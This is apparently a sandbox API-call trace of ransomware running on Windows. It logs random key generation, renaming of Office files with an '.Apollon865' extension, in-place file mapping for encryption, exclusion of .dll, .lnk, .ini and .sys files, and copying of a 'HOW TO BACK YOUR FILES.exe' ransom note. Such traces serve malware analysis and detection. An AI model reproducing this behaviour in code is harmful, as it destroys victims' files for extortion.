	[0069.760] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe110, lpName=0x0) returned 0x118
	[0069.766] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe110) returned 0x100000
	[0069.770] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.771] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.771] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.772] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN105.XML" | out: lpString1="PGMN105.XML") returned="PGMN105.XML"
	[0069.772] lstrlenW (lpString="PGMN105.XML") returned 11
	[0069.772] lstrlenW (lpString="Apollon865") returned 10
	[0069.772] lstrcmpiW (lpString1="GMN105.XML", lpString2="Apollon865") returned 1
	[0069.772] lstrlenW (lpString=".dll") returned 4
	[0069.772] lstrcmpiW (lpString1="PGMN105.XML", lpString2=".dll") returned 1
	[0069.772] lstrlenW (lpString=".lnk") returned 4
	[0069.772] lstrcmpiW (lpString1="PGMN105.XML", lpString2=".lnk") returned 1
	[0069.772] lstrlenW (lpString=".ini") returned 4
	[0069.772] lstrcmpiW (lpString1="PGMN105.XML", lpString2=".ini") returned 1
	[0069.772] lstrlenW (lpString=".sys") returned 4
	[0069.772] lstrcmpiW (lpString1="PGMN105.XML", lpString2=".sys") returned 1
	[0069.772] lstrlenW (lpString="PGMN105.XML") returned 11
	[0069.772] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML.Apollon865") returned 74
	[0069.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn105.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn105.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn105.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.774] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4084) returned 1
	[0069.774] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.775] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.775] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.775] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1300, lpName=0x0) returned 0x118
	[0069.776] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1300) returned 0x100000
	[0069.777] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.778] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.778] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.778] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN107.XML" | out: lpString1="PGMN107.XML") returned="PGMN107.XML"
	[0069.778] lstrlenW (lpString="PGMN107.XML") returned 11
	[0069.778] lstrlenW (lpString="Apollon865") returned 10
	[0069.778] lstrcmpiW (lpString1="GMN107.XML", lpString2="Apollon865") returned 1
	[0069.778] lstrlenW (lpString=".dll") returned 4
	[0069.778] lstrcmpiW (lpString1="PGMN107.XML", lpString2=".dll") returned 1
	[0069.779] lstrlenW (lpString=".lnk") returned 4
	[0069.779] lstrcmpiW (lpString1="PGMN107.XML", lpString2=".lnk") returned 1
	[0069.779] lstrlenW (lpString=".ini") returned 4
	[0069.779] lstrcmpiW (lpString1="PGMN107.XML", lpString2=".ini") returned 1
	[0069.779] lstrlenW (lpString=".sys") returned 4
	[0069.779] lstrcmpiW (lpString1="PGMN107.XML", lpString2=".sys") returned 1
	[0069.779] lstrlenW (lpString="PGMN107.XML") returned 11
	[0069.779] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML.Apollon865") returned 74
	[0069.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn107.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn107.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn107.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.780] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2652) returned 1
	[0069.780] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.781] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.781] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.781] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd60, lpName=0x0) returned 0x118
	[0069.782] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd60) returned 0x100000
	[0069.783] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.783] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.783] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.784] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN108.XML" | out: lpString1="PGMN108.XML") returned="PGMN108.XML"
	[0069.784] lstrlenW (lpString="PGMN108.XML") returned 11
	[0069.784] lstrlenW (lpString="Apollon865") returned 10
	[0069.784] lstrcmpiW (lpString1="GMN108.XML", lpString2="Apollon865") returned 1
	[0069.784] lstrlenW (lpString=".dll") returned 4
	[0069.784] lstrcmpiW (lpString1="PGMN108.XML", lpString2=".dll") returned 1
	[0069.784] lstrlenW (lpString=".lnk") returned 4
	[0069.784] lstrcmpiW (lpString1="PGMN108.XML", lpString2=".lnk") returned 1
	[0069.784] lstrlenW (lpString=".ini") returned 4
	[0069.784] lstrcmpiW (lpString1="PGMN108.XML", lpString2=".ini") returned 1
	[0069.784] lstrlenW (lpString=".sys") returned 4
	[0069.784] lstrcmpiW (lpString1="PGMN108.XML", lpString2=".sys") returned 1
	[0069.784] lstrlenW (lpString="PGMN108.XML") returned 11
	[0069.784] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML.Apollon865") returned 74
	[0069.784] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn108.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn108.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn108.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.786] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=13528) returned 1
	[0069.791] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.791] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.791] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.791] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x37e0, lpName=0x0) returned 0x118
	[0069.793] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x37e0) returned 0x100000
	[0069.794] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.794] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.794] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.795] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN109.XML" | out: lpString1="PGMN109.XML") returned="PGMN109.XML"
	[0069.795] lstrlenW (lpString="PGMN109.XML") returned 11
	[0069.795] lstrlenW (lpString="Apollon865") returned 10
	[0069.796] lstrcmpiW (lpString1="GMN109.XML", lpString2="Apollon865") returned 1
	[0069.796] lstrlenW (lpString=".dll") returned 4
	[0069.796] lstrcmpiW (lpString1="PGMN109.XML", lpString2=".dll") returned 1
	[0069.796] lstrlenW (lpString=".lnk") returned 4
	[0069.796] lstrcmpiW (lpString1="PGMN109.XML", lpString2=".lnk") returned 1
	[0069.796] lstrlenW (lpString=".ini") returned 4
	[0069.796] lstrcmpiW (lpString1="PGMN109.XML", lpString2=".ini") returned 1
	[0069.796] lstrlenW (lpString=".sys") returned 4
	[0069.796] lstrcmpiW (lpString1="PGMN109.XML", lpString2=".sys") returned 1
	[0069.796] lstrlenW (lpString="PGMN109.XML") returned 11
	[0069.796] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML.Apollon865") returned 74
	[0069.796] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn109.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn109.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn109.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.797] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=6818) returned 1
	[0069.798] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.798] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.798] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.799] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1db0, lpName=0x0) returned 0x118
	[0069.800] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1db0) returned 0x100000
	[0069.800] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.801] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.801] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.802] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN110.XML" | out: lpString1="PGMN110.XML") returned="PGMN110.XML"
	[0069.802] lstrlenW (lpString="PGMN110.XML") returned 11
	[0069.802] lstrlenW (lpString="Apollon865") returned 10
	[0069.802] lstrcmpiW (lpString1="GMN110.XML", lpString2="Apollon865") returned 1
	[0069.802] lstrlenW (lpString=".dll") returned 4
	[0069.802] lstrcmpiW (lpString1="PGMN110.XML", lpString2=".dll") returned 1
	[0069.802] lstrlenW (lpString=".lnk") returned 4
	[0069.802] lstrcmpiW (lpString1="PGMN110.XML", lpString2=".lnk") returned 1
	[0069.802] lstrlenW (lpString=".ini") returned 4
	[0069.802] lstrcmpiW (lpString1="PGMN110.XML", lpString2=".ini") returned 1
	[0069.802] lstrlenW (lpString=".sys") returned 4
	[0069.802] lstrcmpiW (lpString1="PGMN110.XML", lpString2=".sys") returned 1
	[0069.802] lstrlenW (lpString="PGMN110.XML") returned 11
	[0069.802] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML.Apollon865") returned 74
	[0069.802] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn110.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn110.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn110.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.803] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=51936) returned 1
	[0069.803] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.804] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.804] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.804] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcde0, lpName=0x0) returned 0x118
	[0069.806] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcde0) returned 0x100000
	[0069.808] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.809] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.809] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.810] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN111.XML" | out: lpString1="PGMN111.XML") returned="PGMN111.XML"
	[0069.810] lstrlenW (lpString="PGMN111.XML") returned 11
	[0069.810] lstrlenW (lpString="Apollon865") returned 10
	[0069.810] lstrcmpiW (lpString1="GMN111.XML", lpString2="Apollon865") returned 1
	[0069.810] lstrlenW (lpString=".dll") returned 4
	[0069.810] lstrcmpiW (lpString1="PGMN111.XML", lpString2=".dll") returned 1
	[0069.810] lstrlenW (lpString=".lnk") returned 4
	[0069.810] lstrcmpiW (lpString1="PGMN111.XML", lpString2=".lnk") returned 1
	[0069.810] lstrlenW (lpString=".ini") returned 4
	[0069.810] lstrcmpiW (lpString1="PGMN111.XML", lpString2=".ini") returned 1
	[0069.810] lstrlenW (lpString=".sys") returned 4
	[0069.810] lstrcmpiW (lpString1="PGMN111.XML", lpString2=".sys") returned 1
	[0069.810] lstrlenW (lpString="PGMN111.XML") returned 11
	[0069.810] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML.Apollon865") returned 74
	[0069.810] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn111.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn111.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn111.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.811] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=284562) returned 1
	[0069.811] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.812] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.812] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.812] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45aa0, lpName=0x0) returned 0x118
	[0069.813] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x45aa0) returned 0x210000
	[0069.824] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.825] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.825] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.842] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PG_INDEX.XML" | out: lpString1="PG_INDEX.XML") returned="PG_INDEX.XML"
	[0069.842] lstrlenW (lpString="PG_INDEX.XML") returned 12
	[0069.842] lstrlenW (lpString="Apollon865") returned 10
	[0069.842] lstrcmpiW (lpString1="_INDEX.XML", lpString2="Apollon865") returned -1
	[0069.842] lstrlenW (lpString=".dll") returned 4
	[0069.843] lstrcmpiW (lpString1="PG_INDEX.XML", lpString2=".dll") returned 1
	[0069.843] lstrlenW (lpString=".lnk") returned 4
	[0069.843] lstrcmpiW (lpString1="PG_INDEX.XML", lpString2=".lnk") returned 1
	[0069.843] lstrlenW (lpString=".ini") returned 4
	[0069.843] lstrcmpiW (lpString1="PG_INDEX.XML", lpString2=".ini") returned 1
	[0069.843] lstrlenW (lpString=".sys") returned 4
	[0069.843] lstrcmpiW (lpString1="PG_INDEX.XML", lpString2=".sys") returned 1
	[0069.843] lstrlenW (lpString="PG_INDEX.XML") returned 12
	[0069.843] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PG_INDEX.XML.Apollon865") returned 75
	[0069.843] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PG_INDEX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pg_index.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PG_INDEX.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pg_index.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PG_INDEX.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pg_index.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.844] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=34700) returned 1
	[0069.844] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.845] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.845] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.845] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8a90, lpName=0x0) returned 0x118
	[0069.846] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8a90) returned 0x100000
	[0069.848] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.849] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.849] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.850] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover"
	[0069.850] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.850] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0069.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned 62
	[0069.850] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover"
	[0069.850] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0069.850] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0069.856] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0069.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41b4dfd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x41b4dfd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0069.856] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0069.856] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0069.856] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0069.856] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41b4dfd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x41b4dfd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.858] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0069.858] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0069.858] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0069.858] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0069.858] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AMERITECH.NET.XML", cAlternateFileName="AMERIT~1.XML")) returned 1
